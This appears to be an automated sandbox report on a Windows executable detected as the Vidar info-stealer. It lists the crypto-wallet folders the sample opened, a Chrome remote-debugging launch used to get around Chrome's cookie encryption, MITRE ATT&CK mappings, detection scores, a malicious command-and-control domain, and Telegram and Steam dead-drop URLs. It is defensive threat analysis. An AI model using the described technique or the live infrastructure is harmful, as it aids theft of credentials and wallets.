Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Vidar stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	2 OS Credential Dumping	11 Query Registry	Remote Services	3 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	24 Virtualization/Sandbox Evasion	1 Credentials in Registry	731 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Process Injection	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	223 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	68%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.XPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.microsoft.u	0%	Avira URL Cloud	safe
https://vibe.naver.com/today	0%	Avira URL Cloud	safe
https://grahm.xyz	100%	Avira URL Cloud	malware
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	Avira URL Cloud	safe
https://powerpoint.new?from=EdgeM365Shoreline	0%	Avira URL Cloud	safe
https://latest.web.skype.com/?browsername=edge_canary_shoreline	0%	Avira URL Cloud	safe
https://grahm.xyz/	100%	Avira URL Cloud	malware
https://excel.new?from=EdgeM365Shoreline	0%	Avira URL Cloud	safe
https://word.new?from=EdgeM365Shoreline	0%	Avira URL Cloud	safe
https://grahm.xyz/N	100%	Avira URL Cloud	malware
https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
t.me	149.154.167.99	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	3.160.188.68	true	false	high
www.google.com	172.217.19.228	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
grahm.xyz	116.203.10.31	true	true	unknown
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734018433235&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://deff.nelreports.net/api/report?cat=msn	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734018440732&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://sb.scorecardresearch.com/b2?rn=1734018433237&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B4728EAA4386D50161A3DB9A5116C1A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734018439892&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734018439889&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://c.msn.com/c.gif?rnd=1734018433237&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f97ea5676140412c82d619797299a18f&activityId=f97ea5676140412c82d619797299a18f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=E7586DD3E35E40A1862570F7C55DE2B3&MUID=2B4728EAA4386D50161A3DB9A5116C1A	false		high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false		high
https://grahm.xyz/	true	Avira URL Cloud: malware	unknown
https://c.msn.com/c.gif?rnd=1734018433237&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f97ea5676140412c82d619797299a18f&activityId=f97ea5676140412c82d619797299a18f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	MOP8GV.0.dr, Q9RQQQ.0.dr	false		high
https://edgeassetservice.azure	000003.ldb.10.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://duckduckgo.com/ac/?q=	MOP8GV.0.dr, Q9RQQQ.0.dr	false		high
http://www.broofa.com	chromecache_454.6.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://www.last.fm/	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.10.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://docs.google.com/	manifest.json.10.dr	false		high
https://www.youtube.com	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://mail.google.com	000003.ldb.10.dr	false		high
https://www.instagram.com	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://drive.google.com/	manifest.json.10.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr, 000003.ldb.10.dr	false		high
https://grahm.xyz	file.exe, 00000000.00000003.1649950746.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr, 000003.ldb.10.dr	false		high
https://www.messenger.com	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://i.y.qq.com/n2/m/index.html	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://www.deezer.com/	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
http://www.microsoft.u	file.exe, 00000000.00000003.1574268096.0000000000F21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1603871196.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org/	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json.10.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json.10.dr	false		high
https://vibe.naver.com/today	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false	Avira URL Cloud: safe	unknown
https://srtb.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	MOP8GV.0.dr, Q9RQQQ.0.dr	false		high
https://assets.msn.com	8314d887-e83b-4a7e-aaf7-3553fb860120.tmp.13.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	RQ1VK6.0.dr	false		high
https://www.ecosia.org/newtab/	MOP8GV.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json.10.dr	false		high
https://excel.new?from=EdgeM365Shoreline	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false	Avira URL Cloud: safe	unknown
https://t.me/detct0rd0wntgMozilla/5.0	file.exe, 00000000.00000003.1543715466.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json.10.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_454.6.dr	false		high
https://www.google.com/chrome	content.js.10.dr, content_new.js.10.dr	false		high
https://www.tiktok.com/	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.10.dr	false		high
https://steamcommunity.com/profiles/76561199807592927d0wntgMozilla/5.0	file.exe, 00000000.00000003.1543715466.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	manifest.json0.10.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	RQ1VK6.0.dr	false	Avira URL Cloud: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json.10.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr, 000003.ldb.10.dr	false		high
https://chrome.google.com/webstore/	manifest.json0.10.dr	false		high
https://y.music.163.com/m/	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://steamcommunity.com/profiles/76561199807592927	file.exe, 00000000.00000003.1543715466.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://bard.google.com/	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNs	000003.ldb.10.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://web.whatsapp.com	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://web.telegram.org	file.exe, 00000000.00000003.1574268096.0000000000F21000.00000004.00000020.00020000.00000000.sdmp	false		high
https://m.kugou.com/	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://www.office.com	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://outlook.live.com/mail/0/	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.10.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false	Avira URL Cloud: safe	unknown
https://web.skype.com/?	000003.ldb.10.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	MOP8GV.0.dr, Q9RQQQ.0.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	RQ1VK6.0.dr	false		high
https://tidal.com/	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://ntp.msn.com	2cc80dabc69f58b6_0.10.dr	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.10.dr	false		high
https://gaana.com/	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://drive-staging.corp.google.com/	manifest.json.10.dr	false		high
https://outlook.live.com/mail/compose?isExtension=true	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	MOP8GV.0.dr, Q9RQQQ.0.dr	false		high
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://apis.google.com	chromecache_454.6.dr	false		high
https://latest.web.skype.com/?browsername=edge_canary_shoreline	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false	Avira URL Cloud: safe	unknown
https://word.new?from=EdgeM365Shoreline	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false	Avira URL Cloud: safe	unknown
https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://outlook.office.com/mail/0/	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://grahm.xyz/N	file.exe, 00000000.00000003.1603871196.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	MOP8GV.0.dr, Q9RQQQ.0.dr	false		high
https://img-s.msn.cn/tenant/amp/entityid/	2cc80dabc69f58b6_1.10.dr	false		high
https://m.soundcloud.com/	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://mail.google.com/mail/mu/mp/266/#tl/Inbox	e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	false		high
https://drive-autopush.corp.google.com/	manifest.json.10.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
3.160.188.68	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
172.217.19.228	www.google.com	United States	15169	GOOGLEUS	false
20.189.173.5	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
2.16.158.80	unknown	European Union	20940	AKAMAI-ASN1EU	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
23.44.203.83	unknown	United States	20940	AKAMAI-ASN1EU	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.44.203.84	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.223.209.209	unknown	United States	16625	AKAMAI-ASUS	false
18.238.49.124	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
2.16.158.82	unknown	European Union	20940	AKAMAI-ASN1EU	false
23.44.203.70	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.203.13	unknown	United States	20940	AKAMAI-ASN1EU	false
116.203.10.31	grahm.xyz	Germany	24940	HETZNER-ASDE	true

Private

IP
192.168.2.8
192.168.2.16
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573847
Start date and time:	2024-12-12 16:45:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@66/230@36/23
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, UserOOBEBroker.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.22.50.144, 192.229.221.95, 142.250.181.99, 172.217.17.78, 173.194.222.84, 172.217.17.46, 142.250.181.3, 172.217.21.42, 172.217.19.10, 172.217.17.74, 172.217.19.234, 142.250.181.42, 142.250.181.74, 142.250.181.106, 172.217.19.202, 172.217.17.42, 172.217.19.170, 142.250.181.138, 13.107.42.16, 204.79.197.203, 13.107.6.158, 204.79.197.239, 13.107.21.239, 20.56.187.20, 2.19.126.145, 2.19.126.152, 2.18.64.203, 2.18.64.218, 2.16.158.50, 2.16.158.192, 2.16.158.187, 2.16.158.26, 2.16.158.40, 2.16.158.48, 2.16.158.185, 2.16.158.51, 2.16.158.33, 104.126.37.227, 104.126.37.234, 2.19.198.225, 2.19.198.226, 104.126.37.242, 2.19.198.235, 2.19.198.249, 2.19.198.250, 104.126.37.233, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.165.61.93, 2.19.126.151, 2.19.126.157, 142.250.65.195, 142.250.80.35, 142.250.80.67, 142.250.65.227, 142.250.80.3, 142.250.81.227, 52.149.20.212, 23.218.208.109, 94.245.104.56, 20.190.177.20, 20.25.227.174, 13.107.246.63, 13.107.246.40, 20.96.153.111, 104.1
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, arc.msn.com, r
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:46:54	API Interceptor	37004463x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3.160.188.68	Opportunity Offering Pure Home Improvement Unique Guest Post Websites A... (107Ko).msg	Get hash	malicious	Unknown	Browse
3.160.188.68	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
20.189.173.5	phish_alert_sp2_2.0.0.0 lazz.msg	Get hash	malicious	Unknown	Browse
	https://citiscapegroupae-my.sharepoint.com/:li:/g/personal/asekhar_citiscapegroup_com/E9U24ACMrctKoLKfReMWVjMBfxodtw3c4oUIHo4oyReVhg?e=SgIv5D&xsdata=MDV8MDJ8ZGVyZWsuZGVscG9ydEBvbnRoZWRvdC5jby56YXw5ZWEzNzFkNDdmNTM0YzE2Yjg5YTA4ZGQwZTAwZjY1OXwxMGRjN2M5NjU5NzY0NjAxODgyYzlhYzdjMjg3MGVjY3wxfDB8NjM4NjgyMTE5NTE1MDk3NDExfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=S3JqYzUxeUd4SmtWMEVWUzBMU3JUREpWTEJiN3VmeFVrY09ucElOZDRzaz0%3d	Get hash	malicious	HTMLPhisher	Browse
	ee0b6b037b16b54632b6b37d1fb72727.eml	Get hash	malicious	Unknown	Browse
	[EXTERNAL] Redbrick Communications Request For Proposal .eml	Get hash	malicious	Unknown	Browse
	bc3c228ad2c13f96cb14375c3860e802.pdf	Get hash	malicious	Unknown	Browse
	Aisha C. Yetman shared you a document..msg	Get hash	malicious	Unknown	Browse
	phish_alert_iocp_v1.4.48 (43).eml	Get hash	malicious	HTMLPhisher	Browse
	https://aulfonconstructions-my.sharepoint.com/:f:/g/personal/esther_aulfon_com/EiuWWZ-IJrtBm8hF_ayxYUwBKyDTFsnFFGRJIw1YVUGKtQ?e=jQKptk	Get hash	malicious	Unknown	Browse
	You_missed_a_VM _Transcription_Available_Play_Now.zip	Get hash	malicious	HTMLPhisher	Browse
	Review Three D Rigging Construction Inc. Project.msg	Get hash	malicious	Unknown	Browse
149.154.167.99	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot
	jtfCFDmLdX.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plus.l.google.com	https://cargalia.com/o/?c3Y9bzM2NV8xX29uZSZyYW5kPWVFczJZems9JnVpZD1VU0VSMjkxMTIwMjRVNDYxMTI5NTU=N0123N	Get hash	malicious	Unknown	Browse	142.250.181.46
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	172.217.19.206
	http://eon.keit.re.kr/WEOMTRACK.html?CPKN=O&CPSQ=88327186&CPSC=0&CPID=16122900000005&CPMEM=MTAwMDkwODg=&CLID=006&CLKN=CL&CPCED=20171231&DRTMF=5&DRTMT=60&URL=https://ncbx.qantumleap.ru/ejjH4o7kVaWIANfJxQHdbgws_rV8/	Get hash	malicious	Unknown	Browse	172.217.17.46
	https://hdtodayz.to/movie/watch-the-shawshank-redemption-hd-19679	Get hash	malicious	HTMLPhisher	Browse	172.217.17.78
	http://balmyrind.com/	Get hash	malicious	Unknown	Browse	172.217.17.78
	CcIlKT6XdC.exe	Get hash	malicious	Amadey, PureLog Stealer, Stealc, Vidar	Browse	172.217.17.78
	https://smialex.id/Frbleuelsas	Get hash	malicious	Anonymous Proxy	Browse	142.250.181.110
	Publishing.htm	Get hash	malicious	Unknown	Browse	172.217.17.46
